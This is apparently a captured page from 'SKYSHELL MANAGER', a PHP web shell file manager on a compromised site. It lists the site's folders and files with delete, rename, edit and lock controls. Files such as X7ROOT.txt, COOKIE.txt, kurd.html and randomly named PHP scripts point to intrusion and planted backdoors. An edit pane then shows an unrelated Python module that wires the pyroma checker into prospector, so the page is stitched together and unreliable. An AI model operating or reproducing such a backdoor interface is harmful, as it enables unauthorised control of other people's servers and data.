📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: __init__.py
import logging from typing import TYPE_CHECKING, List from prospector.finder import FileFinder from prospector.message import Location, Message from prospector.tools.base import ToolBase if TYPE_CHECKING: from prospector.config import ProspectorConfig # HACK: pyroma configures logging in its __init__.py so by importing, # it will change existing logging configuration to DEBUG which causes # problems with other 3rd party modules as everything now logs to # stdout... _old = logging.basicConfig try: logging.basicConfig = lambda **k: None from pyroma import projectdata, ratings # if pyroma doesn't exist, will raise an ImportError and be caught "upstream" finally: # always restore logging.basicConfig logging.basicConfig = _old PYROMA_ALL_CODES = { "Name": "PYR01", "Version": "PYR02", "VersionIsString": "PYR03", "PEPVersion": "PYR04", "Description": "PYR05", "LongDescription": "PYR06", "Classifiers": "PYR07", "PythonVersion": "PYR08", "Keywords": "PYR09", "Author": "PYR10", "AuthorEmail": "PYR11", "Url": "PYR12", "License": "PYR13", "LicenceClassifier": "PYR14", "ZipSafe": "PYR15", "SDist": "PYR16", "PackageDocs": "PYR17", "ValidREST": "PYR18", "BusFactor": "PYR19", } PYROMA_CODES = {} def _copy_codes(): for name, code in PYROMA_ALL_CODES.items(): if hasattr(ratings, name): PYROMA_CODES[getattr(ratings, name)] = code _copy_codes() PYROMA_TEST_CLASSES = [t.__class__ for t in ratings.ALL_TESTS] class PyromaTool(ToolBase): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.ignore_codes = () def configure(self, prospector_config: "ProspectorConfig", found_files: FileFinder): self.ignore_codes = prospector_config.get_disabled_messages("pyroma") def run(self, found_files: FileFinder) -> List[Message]: messages = [] for directory in found_files.directories: # just list directories which are not ignored, but find any `setup.py` ourselves # as that is excluded by default for filepath in directory.iterdir(): if filepath.is_dir() or filepath.name != "setup.py": continue data = projectdata.get_data(directory.resolve()) all_tests = [m() for m in PYROMA_TEST_CLASSES] for test in all_tests: code = PYROMA_CODES.get(test.__class__, "PYRUNKNOWN") if code in self.ignore_codes: continue passed = test.test(data) if passed is False: # passed can be True, False or None... loc = Location(filepath, "setup", None, -1, -1) msg = Message("pyroma", code, loc, test.message()) messages.append(msg) return messages
Save